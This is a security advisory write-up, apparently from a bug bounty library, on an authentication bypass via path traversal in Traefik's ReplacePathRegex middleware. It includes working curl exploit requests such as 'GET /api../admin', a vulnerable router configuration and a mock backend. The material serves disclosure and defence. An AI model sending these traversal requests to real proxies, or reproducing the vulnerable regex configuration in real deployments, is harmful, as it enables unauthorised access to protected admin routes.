# Traefik: Authentication Bypass via Path Traversal in ReplacePathRegex Middleware

Traefik's ReplacePathRegex middleware rewrote `/api../admin` to `/../admin` without normalization, letting unauthenticated requests reach auth-protected backend routes.

- Payout: Research
- Severity: critical
- Program: Traefik
- Found by: C-h4ck-0
- Disclosed: 2026-08-06
- CVE: CVE-2026-65600
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-cxjq-mrr5-89rv
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-cxjq-mrr5-89rv
- Tags: area:cloud domain:infra impact:internal-access kind:research platform:ghsa sev:critical tech:go technique:chained technique:incomplete-fix technique:source-review vuln:access-control vuln:auth-bypass vuln:path-traversal

**Target:** ReplacePathRegex middleware in Traefik reverse proxy (pkg/middlewares/replacepathregex)
**Root cause:** After regex substitution, ReplacePathRegex forwards the rewritten path without verifying it equals its normalized form, so a capture group can inject `..` dot-segments. The JoinPath equality check added to StripPrefix in CVE-2026-48020 was never applied here.
**Steps:**
1. Configure router `PathPrefix(/api)` with replacePathRegex `regex: "^/api(.*)"`, `replacement: "/$1"`, and a separate `PathPrefix(/admin)` router with basicAuth.
2. Send `GET /api../admin` — `api..` is a valid segment so sanitizePath leaves it intact and the public router matches.
3. Regex captures `../admin`, replacement yields `/../admin`, no normalization check, forwarded to backend.
4. Backend normalizes `/../admin` to `/admin` and returns protected content; URL-encoded variant `GET /api%2e%2e/admin` also works.
**How found:** Reporter recognized the exploitable regex shape `^/api(.*)` (no slash before capture) as the natural prefix-strip equivalent of `StripPrefix("/api")`, and noted the post-replacement normalization check from the CVE-2026-48020 StripPrefix fix was absent in ReplacePathRegex's ServeHTTP.
**Exploitation:** Single unauthenticated HTTP request. Attacker targets a public router whose ReplacePathRegex strips a prefix without a mandatory separator, injecting `..` into the capture group so the rewritten path escapes into a protected route on the backend; GET/POST/PUT/DELETE all bypass auth middleware (BasicAuth, ForwardAuth, DigestAuth).
**Insight:** When a proxy middleware rewrites paths from user-controlled captures, check whether the rewritten path is re-normalized before forwarding; prefix-strip regexes written without a mandatory separator (`^/api(.*)` vs `^/api/(.*)`) let `..` survive into the replacement and be resolved by the backend, not the proxy.

## Proof of concept (copied exactly from the original report)

**curl requests proving auth bypass via traversal**

```
curl -s -o /dev/null -w "%{http_code}" http://localhost/admin
# → 401

# Auth bypass:
curl -s http://localhost/api../admin
# → ADMIN_SECRET_DATA (normalized=/admin)

# URL-encoded variant:
curl -s http://localhost/api%2e%2e/admin
# → ADMIN_SECRET_DATA (normalized=/admin)
```

**Vulnerable ReplacePathRegex router and auth config**

```
public-api:
      rule: "PathPrefix(`/api`)"
      entryPoints: [web]
      middlewares: [rewrite-api]
      service: backend-svc
      priority: 1
    protected-admin:
      rule: "PathPrefix(`/admin`)"
      entryPoints: [web]
      middlewares: [auth]
      service: backend-svc
      priority: 2
  middlewares:
    rewrite-api:
      replacePathRegex:
        regex: "^/api(.*)"
        replacement: "/$1"
```

**Backend server normalizing path to /admin**

```
const server = http.createServer((req, res) => {
  const normalized = path.posix.normalize(req.url.split('?')[0]);
  res.setHeader('Content-Type', 'text/plain');
  if (normalized === '/health') { res.writeHead(200); res.end('OK\n'); }
  else if (normalized === '/admin' || normalized.startsWith('/admin/')) {
    res.writeHead(200); res.end(`ADMIN_SECRET_DATA (normalized=${normalized})\n`);
  } else { res.writeHead(200); res.end(`PUBLIC (normalized=${normalized})\n`); }
```

